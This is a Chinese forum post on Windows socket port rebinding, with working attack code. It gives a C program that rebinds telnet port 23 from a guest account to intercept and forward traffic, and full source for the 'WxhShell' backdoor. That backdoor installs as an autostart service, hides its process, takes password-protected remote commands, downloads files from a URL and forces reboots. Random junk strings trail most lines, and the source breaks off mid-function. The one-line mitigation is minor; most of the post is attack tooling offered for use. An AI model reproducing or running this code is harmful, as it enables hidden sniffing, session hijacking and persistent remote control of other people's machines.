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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xal+ buOiP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fEE[h uG  
6lOT5C eJ"  
  saddr.sin_family = AF_INET; !`L%wS  
.)o<'u@Ri  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SYRr|Lg  
X&fM36o7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y%y=  
oBiJiPE=`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /"?yB$s  
Z .VIb|  
  这意味着什么?意味着可以进行如下的攻击: YKKZRlQo  
awh<CmcZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n@  lf+  
r18eu B%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 42E]&=Cet  
  4Ra  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @dei} !e  
6U5L>sQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  low 0@+Q  
chk1tFV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VWf&F`^B(  
%^tKt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ? cU9~=  
.Qk T-12  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y(/"DUx  
Qc1NLU9:  
  #include TLbnG$VQS  
  #include 0Cd )w4C  
  #include {2"8^;  
  #include    mU@pRjq=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |j:"n3~6  
  int main() zA/ tHlKc  
  { %;S T7  
  WORD wVersionRequested; 7L3:d7=MIW  
  DWORD ret; C#<b7iMg  
  WSADATA wsaData; WOBLgM,|  
  BOOL val; ZYRZ$87jZ  
  SOCKADDR_IN saddr; b7-M'-Km0_  
  SOCKADDR_IN scaddr; oA/[>\y  
  int err; A#NJ8_  
  SOCKET s; xAJ N(8?  
  SOCKET sc; )B"k;dLm  
  int caddsize; 6!F@?3qCyg  
  HANDLE mt; 2IMU &  
  DWORD tid;   Aw?i6d  
  wVersionRequested = MAKEWORD( 2, 2 ); rdj_3Utv  
  err = WSAStartup( wVersionRequested, &wsaData ); |w; hu]  
  if ( err != 0 ) { arVu`pD*n  
  printf("error!WSAStartup failed!\n"); /wAx#[c[  
  return -1;  9t$#!2z  
  } zEM  c)  
  saddr.sin_family = AF_INET; b0VEMu81k  
   +lYo5\1=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "Y'MuV'x  
h2S!<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5:R$xgc  
  saddr.sin_port = htons(23); PI G3kJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bF2RP8?en  
  { ]u5B]ZQnA  
  printf("error!socket failed!\n"); 7C;oMh5  
  return -1; -G'U\EXT  
  } 7Gh+EJJ3I  
  val = TRUE; 7];AB;0"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mV>l`&K=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gDN7ly]6M  
  { <6.aSOS  
  printf("error!setsockopt failed!\n"); [,bra8f[C  
  return -1; +x!Hc  
  } APgjT' ;P^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 02 $d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 42oW]b%P{;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~:JoKm`vU  
y:HH@aa)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ApD`i+Y@  
  { G'U! #  
  ret=GetLastError(); "M;aNi^B  
  printf("error!bind failed!\n"); 4j1$1C{  
  return -1; \:BixBU7  
  } 9 _oAs"w  
  listen(s,2); Te6cw+6  
  while(1) P @Jo[J<  
  { 56?RFnZ&j  
  caddsize = sizeof(scaddr); h`n) b  
  //接受连接请求 ~tc,p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a.z)m} +  
  if(sc!=INVALID_SOCKET) pi|=3W  
  { O#@G .~n?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F$j?}  
  if(mt==NULL) /:;"rnvq  
  { uXouN$&  
  printf("Thread Creat Failed!\n"); / q| o  
  break; 4%$#   
  } Fhrj$  
  } 4KX\'K  
  CloseHandle(mt); t-i\gq^  
  } :V0sKg|sS  
  closesocket(s); Z8ds`KZM  
  WSACleanup(); n_{az{~  
  return 0; K=Z.<f  
  }   l4> c  
  DWORD WINAPI ClientThread(LPVOID lpParam) /E-s g, k  
  { G ?Hx"3:?  
  SOCKET ss = (SOCKET)lpParam; \ZtKaEXnx  
  SOCKET sc; w|1O-k`  
  unsigned char buf[4096]; (h|E@gRa  
  SOCKADDR_IN saddr; \<HY'[gr  
  long num; T0{X,  
  DWORD val; <Gna}ALkg  
  DWORD ret; f~R+Q/Gtz`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FR']Rj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l<;~sag  
  saddr.sin_family = AF_INET; >qVSepK3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }tO>&$ Z6f  
  saddr.sin_port = htons(23); je`Inn<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r=/$}l4  
  { <1#hX(Q  
  printf("error!socket failed!\n"); :'FCeS9  
  return -1; 3lTnfc&  
  } +{#L,0t  
  val = 100; YkbuyUui  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fDRG+/q(+  
  { c#f@v45  
  ret = GetLastError(); $*:g~#bh  
  return -1; ]_j= { 0%  
  } !4T!@"#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /Pxny3  
  { ?AH B\S  
  ret = GetLastError(); {:|b,ep T  
  return -1; {.?pl]Zl6  
  } <kk!nsI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ((&5F!+\-  
  { ExM VGe  
  printf("error!socket connect failed!\n"); tH~>uOZW  
  closesocket(sc); DJ9x?SL@KD  
  closesocket(ss); e<qfM&*  
  return -1; "lrQC`?  
  } S503b*pM  
  while(1) cvQAo|  
  { U^eos;:s8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7%W1M@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a`[9<AM1#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Uy.ihh$I-  
  num = recv(ss,buf,4096,0); nEPTTp+B  
  if(num>0) t 4VeXp6  
  send(sc,buf,num,0); N}1yDN  
  else if(num==0) V/:2xT  
  break; ~ivOSr7s}  
  num = recv(sc,buf,4096,0); 1 +Ue m  
  if(num>0) S;y4Z:!  
  send(ss,buf,num,0); 'kco. 1{  
  else if(num==0) X# /c7w-  
  break; GwfCl{l  
  } ?;H}5>^8P  
  closesocket(ss); 1/~=61msc  
  closesocket(sc); P -nhG  
  return 0 ; N'-[>w7vK2  
  } s2GF*{  
'n ^,lXWB  
h5pfmN\-5  
========================================================== kN78j  
<hj2'd U  
下边附上一个代码,,WXhSHELL [0hahR  
9(nq 4 HvI  
========================================================== ,i??}Wm5G  
.c ~z^6x  
#include "stdafx.h" K!.t}s.t  
*coUHbP9>  
#include <stdio.h> \@WVeFr  
#include <string.h> lgS7;  
#include <windows.h> Rw%?@X3m]  
#include <winsock2.h> Z/:F)c,x  
#include <winsvc.h> (3lA0e`Y  
#include <urlmon.h> S2;^  
'vZIAnB8  
#pragma comment (lib, "Ws2_32.lib") LiV&47e*>  
#pragma comment (lib, "urlmon.lib") &Cv  
T'vI@i9  
#define MAX_USER   100 // 最大客户端连接数 VXWV Pj#  
#define BUF_SOCK   200 // sock buffer Mmu#hb|W  
#define KEY_BUFF   255 // 输入 buffer q(:L8nKT]  
@$n $f  
#define REBOOT     0   // 重启 }`Ya;  
#define SHUTDOWN   1   // 关机 77yYdil^W+  
)=d)j^ t9  
#define DEF_PORT   5000 // 监听端口 ThgJ '  
k]5tU\;Yw  
#define REG_LEN     16   // 注册表键长度 hN6wp_  
#define SVC_LEN     80   // NT服务名长度 aG^E^^Y  
>MN"87U6  
// 从dll定义API * 7Ov.v%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m2jts(stp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t#|R"Q#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |cY,@X,X6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &BrFcXF  
b7dsi|Yo  
// wxhshell配置信息 4RB%r  
struct WSCFG { *>:phs~r{  
  int ws_port;         // 监听端口  P>iZ gv  
  char ws_passstr[REG_LEN]; // 口令 ' QG`^@Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no D^6iQW+.P  
  char ws_regname[REG_LEN]; // 注册表键名 .,xyE--;d  
  char ws_svcname[REG_LEN]; // 服务名 .Iqqjk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `x/i1^/_@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zHZfp_I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 go AV+V7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6384$mT,S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9 ;p5z[jI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M-i3_H)  
C0N}B1-MU  
}; 2} pZyS  
C{85#`z`  
// default Wxhshell configuration rP7 QW)NF  
struct WSCFG wscfg={DEF_PORT, [(x*!,=  
    "xuhuanlingzhe", g]: [^p  
    1, xRacgny:I  
    "Wxhshell", FqA4 O U  
    "Wxhshell", "NLuAB. P  
            "WxhShell Service", U52 V1b  
    "Wrsky Windows CmdShell Service", 3pvqF,"~D  
    "Please Input Your Password: ", -`XS2  
  1, XJeWhk3R9  
  "http://www.wrsky.com/wxhshell.exe", ;K\2/"$QD  
  "Wxhshell.exe" iKrk?B<  
    }; SXqB<j$.;  
V/2NIh  
// 消息定义模块 CdRJ@Lf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6WZffB{-TK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w6!97x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uthW AT &  
char *msg_ws_ext="\n\rExit."; XyN " Jr  
char *msg_ws_end="\n\rQuit."; }wiyEVAh{  
char *msg_ws_boot="\n\rReboot..."; ?V!5VHa  
char *msg_ws_poff="\n\rShutdown..."; u~M$<|;  
char *msg_ws_down="\n\rSave to "; |3e+ K.  
o FP8s[B  
char *msg_ws_err="\n\rErr!"; 3f^Pr  
char *msg_ws_ok="\n\rOK!"; .c}+kHv  
)TiM>{  
char ExeFile[MAX_PATH]; ;]grbqXVE  
int nUser = 0; d"Zu10  
HANDLE handles[MAX_USER]; Up?RN%gq  
int OsIsNt; q( ~rk  
xD&n'M]  
SERVICE_STATUS       serviceStatus; 46NuT]6/4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2mzn{S)nV  
wl]3g  
// 函数声明 M#o.O?.`  
int Install(void); [k%hl`}  
int Uninstall(void); R&Nl!QTJj  
int DownloadFile(char *sURL, SOCKET wsh); 1-E6ACq  
int Boot(int flag); -}UY2)  
void HideProc(void); i!}k5k*Z  
int GetOsVer(void); $Okmurnn  
int Wxhshell(SOCKET wsl); ].xSX0YQ%  
void TalkWithClient(void *cs); Hj r'C?[  
int CmdShell(SOCKET sock); .+(V</  
int StartFromService(void); l,h`YIy  
int StartWxhshell(LPSTR lpCmdLine); ![K\)7iKo  
\;N+PE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  Ll; v[Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /gF)msUF  
Lp:VU-S  
// 数据结构和表定义 {H[N|\  
SERVICE_TABLE_ENTRY DispatchTable[] = wJ2cAX;"  
{ ^L $`)Ja  
{wscfg.ws_svcname, NTServiceMain}, hT-^1 :N  
{NULL, NULL} I ==)a6^  
}; 5&Yt=)c\  
*$%~/Q@]  
// 自我安装 <J+Oh\8tad  
int Install(void) x+4K,r;  
{ 2o<*rH  
  char svExeFile[MAX_PATH]; J8S$YRZ_  
  HKEY key; 9*s8%pL  
  strcpy(svExeFile,ExeFile); y%%VJ}'X!  
}O~D3z4l0  
// 如果是win9x系统,修改注册表设为自启动 Kt*b) <  
if(!OsIsNt) { ?aTH<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Q7:Mu+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (LTu=1  
  RegCloseKey(key); KdozB!\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { </_QldL_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YQ:$m5ai  
  RegCloseKey(key); cwvJH&%0  
  return 0; ku m@cA  
    } wry`2_c  
  } bgE]Wk0  
} S>x@9$( ym  
else { }Y!V3s1bm  
Awfd0L;9  
// 如果是NT以上系统,安装为系统服务 16Ka>=G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I(VqtC:K.  
if (schSCManager!=0) =t_+ajY%  
{ kXhd]7ru  
  SC_HANDLE schService = CreateService <$?#P#A  
  ( :a&M]+!  
  schSCManager, e}2?)B`[  
  wscfg.ws_svcname, Zex~ $r  
  wscfg.ws_svcdisp, ,?m@Ko7Y  
  SERVICE_ALL_ACCESS, *<cRQfA1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -n"f>c_{>  
  SERVICE_AUTO_START,  j7_,V?5z  
  SERVICE_ERROR_NORMAL, GtmoFSZ  
  svExeFile, yj_/:eX  
  NULL, zZ-/S~l  
  NULL, ? 3DFm  
  NULL, Ma?uB8o+~  
  NULL, a+z>pV|  
  NULL j^#\km B  
  ); Bkq4V$D_  
  if (schService!=0) |+8rYIms`  
  { ).,twf58  
  CloseServiceHandle(schService); _gK}Gi?|  
  CloseServiceHandle(schSCManager); {@Lun6\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,DHH5sDCn  
  strcat(svExeFile,wscfg.ws_svcname); W="pu5q$5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $H@   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vRaxB  
  RegCloseKey(key); `>KNa"b%$  
  return 0; T)22P<M8  
    } 'U&]KSzxv  
  } m-C#~Cp36  
  CloseServiceHandle(schSCManager); fMf;  
} bp8sZK"z  
} &Pv$nMB$I  
]Y?ZUSCJ  
return 1; u$nmnd`g  
} gYh o$E  
&9v8  
// 自我卸载 e"EGqn&!  
int Uninstall(void) N>L)2WKFT  
{ b't6ekkN  
  HKEY key; 7dB_q}<  
WB (?6"  
if(!OsIsNt) { V=1yg24B<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yIpgZ0:h  
  RegDeleteValue(key,wscfg.ws_regname); CO ZfR~}  
  RegCloseKey(key); ^|U5@u_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kSge4?&  
  RegDeleteValue(key,wscfg.ws_regname); k=Wt57jt  
  RegCloseKey(key);  5B1,,8P  
  return 0; rmX5-k  
  } 4,)QV_?  
} |tY6+T}  
} #\="^z6  
else { DB jUHirK  
]=|iO~WN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h52+f  
if (schSCManager!=0) ][OkydE  
{ (/> yfL]J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e \kR/<L  
  if (schService!=0) 6QPbmO]z  
  { Br$/hn=  
  if(DeleteService(schService)!=0) { 0icB2Jm:D}  
  CloseServiceHandle(schService); s.Mrd~(Drz  
  CloseServiceHandle(schSCManager); @6U&7!  
  return 0; ZkMHy1  
  } FFN.9[Ly  
  CloseServiceHandle(schService); zb9vUxN [  
  } <(qdxdUp  
  CloseServiceHandle(schSCManager); G0r(xP?  
} 9FT==>  
} wz:w6q  
Xn<|6u  
return 1; h!hv{c  
} &)~LGWBdC  
J2`OJsMwWe  
// 从指定url下载文件 52 DSKL  
int DownloadFile(char *sURL, SOCKET wsh) ?H!X p  
{ %N<>3c<8P  
  HRESULT hr; 4T<dI6I0  
char seps[]= "/"; ! }awlv;  
char *token; dp1t]  
char *file; wK%x|%R[  
char myURL[MAX_PATH]; lU3Xd_v O  
char myFILE[MAX_PATH]; _lk5\bu  
jRdW=/q+(  
strcpy(myURL,sURL); :Z5kiEwYM  
  token=strtok(myURL,seps); -| t|w:&  
  while(token!=NULL) gkv,Om  
  { t== a(e  
    file=token; 'nqVcNgb  
  token=strtok(NULL,seps); %gx>|  
  } :&D$Q 4  
V P4ToYc  
GetCurrentDirectory(MAX_PATH,myFILE); 'P)[=+O?t  
strcat(myFILE, "\\"); ^TY8,qDA  
strcat(myFILE, file); v{>9&o.J  
  send(wsh,myFILE,strlen(myFILE),0); DWJkN4}o  
send(wsh,"...",3,0); :!gzx n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x1*@PiO,.  
  if(hr==S_OK) \U'TL_Ql  
return 0; 9]/j u  
else r;aP`MVO<  
return 1; &28n1  
zn{[]J  
} Y3wL EG%,:  
Z})n%l8J]p  
// 系统电源模块 j2|!h%{nI  
int Boot(int flag) Aonq;} V e  
{ ]^\+B4  
  HANDLE hToken; ? &;d)TQ  
  TOKEN_PRIVILEGES tkp; 3/hAxd  
gb0ZGnI  
  if(OsIsNt) { MtO p][i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @$'1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D+  **o  
    tkp.PrivilegeCount = 1; #[#dc]D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "ae55ft//  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S\UM0G}v  
if(flag==REBOOT) { 6.'+y1yS)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )p;gm`42oY  
  return 0; &^YY>]1Py  
} &_E*]Sj\  
else { 7u^6`P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *ha9Vq@X  
  return 0; "]`QQT-{0  
} ZvO:!u0+"  
  } G1'w50Yu  
  else { %rRpUrnm  
if(flag==REBOOT) { VU*{E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SVo`p;2r  
  return 0; T't^pO-`  
} :+,qvu!M7  
else { %tzz3Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m,TqyP#  
  return 0; t(MlZ>H  
} 0,;FiOp  
} 6dmTv9e  
Ja#idF[V  
return 1; Z [5HI;  
} fwQ%mU+  
Q\:'gx8`  
// win9x进程隐藏模块 uS|Zkuk[!  
void HideProc(void) 4"j5@bppJ  
{ (<.1o_Q-LU  
{_/6,22j(V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ( |5g`JDG  
  if ( hKernel != NULL ) _bks*.9}3b  
  { XfsCu>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]3QQ"HLcp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gi@+2 7;  
    FreeLibrary(hKernel); r%'2a+}D  
  } nw5#/5xw  
IW1]H~1w  
return; d*>M<6b-  
} 9 au)K!hN  
r$\g6m  
// 获取操作系统版本 Y!*,G]7  
int GetOsVer(void) vPwDV_zk  
{ c@q>5fR/c  
  OSVERSIONINFO winfo; $~~=SOd0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "iZ-AG!C  
  GetVersionEx(&winfo); PUYo >eB)0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yMSRUQ x  
  return 1; eNNgxQw>m  
  else wc,y+C#V  
  return 0; uN\9c Q  
} ;Ok11wOw  
n'h )(^  
// 客户端句柄模块 Om1z  
int Wxhshell(SOCKET wsl) q3P3euK3  
{ X"1<G3m4  
  SOCKET wsh; *r% mqAx(  
  struct sockaddr_in client; ckP3[@Su {  
  DWORD myID; h.Dk>H_G  
IkZ_N#m  
  while(nUser<MAX_USER) m5x>._7le  
{ =4%C?(\  
  int nSize=sizeof(client); AeJM[fCMa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4 ?c1c  
  if(wsh==INVALID_SOCKET) return 1; q}1$OsM  
D!sSe|sL^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JX/d;N7a  
if(handles[nUser]==0) +8Px` v1L  
  closesocket(wsh); V_1#7  
else |zT0g]WH  
  nUser++; Zn} )&Xt  
  } #&:nkzd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [uY 2N h  
w${=dW@K  
  return 0; %N  
} mT>p:G  
y,>m#6hx#  
// 关闭 socket >V$#Um?AXj  
void CloseIt(SOCKET wsh) W.R'2R#  
{ Ww@;9US 3  
closesocket(wsh); iL gt_@g  
nUser--; M0e|G.S&_  
ExitThread(0); wEbs E<</  
} *;d)'7<  
y~=hM   
// 客户端请求句柄 [Z+,)-ke  
void TalkWithClient(void *cs) Ju[`Qw`I  
{ }"x*xN  
oMe]dK  
  SOCKET wsh=(SOCKET)cs; )l}wjKfgO  
  char pwd[SVC_LEN]; @(?4g-*E  
  char cmd[KEY_BUFF]; T6r~OV5  
char chr[1]; ]e`_.>U  
int i,j; QX=;,tr  
gWo~o]f  
  while (nUser < MAX_USER) { p4EItRZS  
M\6`2q  
if(wscfg.ws_passstr) { gc~h!%'.I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uPXqTkod  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &s;^q  
  //ZeroMemory(pwd,KEY_BUFF); j1C.#-P[  
      i=0; Lx{N%;t*E  
  while(i<SVC_LEN) { IpXhb[UZ?  
7uxPkZbb  
  // 设置超时 q$rA-`jw  
  fd_set FdRead; vUs7#*  
  struct timeval TimeOut; O*{H;7Pv  
  FD_ZERO(&FdRead); !q\w"p0X  
  FD_SET(wsh,&FdRead); piotd,  
  TimeOut.tv_sec=8; hF7mJ\  
  TimeOut.tv_usec=0; PcHFj+:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )YtL=w?L'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %Nl(Y@dD*  
@e0skc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [s{:}ZuKc  
  pwd=chr[0]; d)ZSzq  
  if(chr[0]==0xd || chr[0]==0xa) { WG luY>C;  
  pwd=0; L)'rM-nkFh  
  break; 'aP*++^   
  } faOWhIG  
  i++; &:#8ol(n5b  
    } m=,c,*>  
.l5" X>  
  // 如果是非法用户,关闭 socket MxEAs}MDv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2\\3<  
} z\8yB`8b^  
dG?a"/MA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )9*3^v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,wi=!KzX  
{ah~q}(P  
while(1) { X7d.Ie  
K!c@aD:#  
  ZeroMemory(cmd,KEY_BUFF); H!.D2J   
NVqC|uEAF  
      // 自动支持客户端 telnet标准    5vF}F^  
  j=0; >[fVl 8G_0  
  while(j<KEY_BUFF) { 'b?.\Bm;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 t`ap  
  cmd[j]=chr[0]; V<V\0n!0  
  if(chr[0]==0xa || chr[0]==0xd) { Rw\C0'  
  cmd[j]=0; Te@6N\g  
  break; k-pEBh OH  
  } e_c;D2' F  
  j++; }j(2Dl  
    } )| x%o(n  
+'qX sfc  
  // 下载文件 Fv);5LD  
  if(strstr(cmd,"http://")) { OW^2S_H5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !ObE{2Enf  
  if(DownloadFile(cmd,wsh)) 1!(%<R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5nx<,-N*BP  
  else CSL{Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,#bb8+z&p  
  } '#N5i  
  else { _0W;)v  
0)oN[  
    switch(cmd[0]) { .K@x4 /1  
  lg onR  
  // 帮助 N8XC~Dh{  
  case '?': { +~4bB$6*4)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xEiX<lguyN  
    break; pH\^1xj =  
  } YXzZ-28,<  
  // 安装 fNqmTRu  
  case 'i': { \|~?x#aA  
    if(Install()) L8dU (P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vj=Xcn#*8  
    else *vRI)>wU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %K^gUd>,R  
    break; w*:GM8=6  
    } *^D@l%av;  
  // 卸载 If-,c^i  
  case 'r': { !{Q:(B#ec  
    if(Uninstall()) o9ctJf=qn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9k\)tWe  
    else l`b1%0y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xJ~ gT  
    break; m Ztv G,  
    } "!%wh6`>Md  
  // 显示 wxhshell 所在路径 2$ |]Vj*Zs  
  case 'p': { 2~!R*i  
    char svExeFile[MAX_PATH]; 6 u-$  
    strcpy(svExeFile,"\n\r"); <&5m N  
      strcat(svExeFile,ExeFile); X(k{-|9]  
        send(wsh,svExeFile,strlen(svExeFile),0); Tm)GC_  
    break; (*6 m^  
    } 5LX8:~y  
  // 重启 F$Im9T6  
  case 'b': { 76-jMcGi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HDmx@E.@  
    if(Boot(REBOOT)) c,y|c`T 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O' +"d%2'  
    else { @Od^k#  
    closesocket(wsh); D|d4:;7  
    ExitThread(0); 1 -ZJT  
    } Eh\ 1O(a(  
    break; J I<3\=:+  
    } I-b_h5ZD6  
  // 关机 AF^T~?t  
  case 'd': { nPcS3!7B#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'LVn^TB_f&  
